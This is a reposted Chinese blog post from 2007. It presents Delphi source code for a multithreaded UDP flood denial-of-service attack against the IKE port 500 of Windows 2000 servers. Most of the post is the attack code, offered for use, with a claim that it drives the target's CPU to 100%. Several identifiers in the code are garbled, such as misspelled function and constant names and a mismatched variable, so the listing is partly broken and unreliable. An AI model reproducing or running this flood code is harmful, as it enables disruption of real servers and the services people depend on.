udp 500 D.O.S攻擊 (轉)

worldblog發表於2007-12-15
udp 500 D.O.S攻擊 (轉)[@more@]

  前些日子,看見有文章說的500埠對flood不是很好,我測試了一下,發現很有效果,對win2000伺服器的udp500傳送大量包的時候,win2000伺服器的率一下子達到了100%,而且反應立刻遲鈍下來.

如下:

執行緒程式://執行緒的程式碼,建立執行緒請用選單new一個Thead

uses winsock;

procedure udpdos.Execute;
var
wsa:TWSAData;
s: TSocket;
sockin: TSockAddrIn;
buf:array[0..1023] of byte;
i: integer;
DIP:string;
begin
  { Place thread code here }
//win2000下利用ike(udp 500)的DOS攻擊
//by 楊順
  FreeOnTenate := true;

//destIP是主Form裡面上,就是要攻擊的,在主Form裡面申明一個這樣的變數就可以了
  D:= DestIP;

//填充buf
  for i := 0 to 1023 do
  buf[i] := 97;

//初始化socket2
  Wtartup($101,wsa);

//建立udp socket
  s := socket(AF_,SOCK_DGRAM,IPPROTO_UDP);
  sockin.sin_family := AF_INET;
  sockin.sin_port := htons(IKE);
  sockin.sin_addr.S_addr :=_addr(pchar(DIP));
  while true do
  begin
  if self.Terminated then
  break;

  //傳送資料包
  sendto(s,buf,1024,0,sockin,sizeof(sockin));
  end;
  closesocket(s);
  WSACleanup;

 end;

主form裡面,

  for i := 0 to 50 do
  begin
  udpdos.Create(false); //建立50多個執行緒,進行攻擊
  end;

順便提一下,堅持輸入的ip是否合法,一句話就可以了

uses winsock

  if inet_addr(pchar(DestIP)) =  inaddr_none  then
  begin
  showmessage('輸入的錯誤');
  exit;
  end;


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-993778/,如需轉載,請註明出處,否則將追究法律責任。

相關文章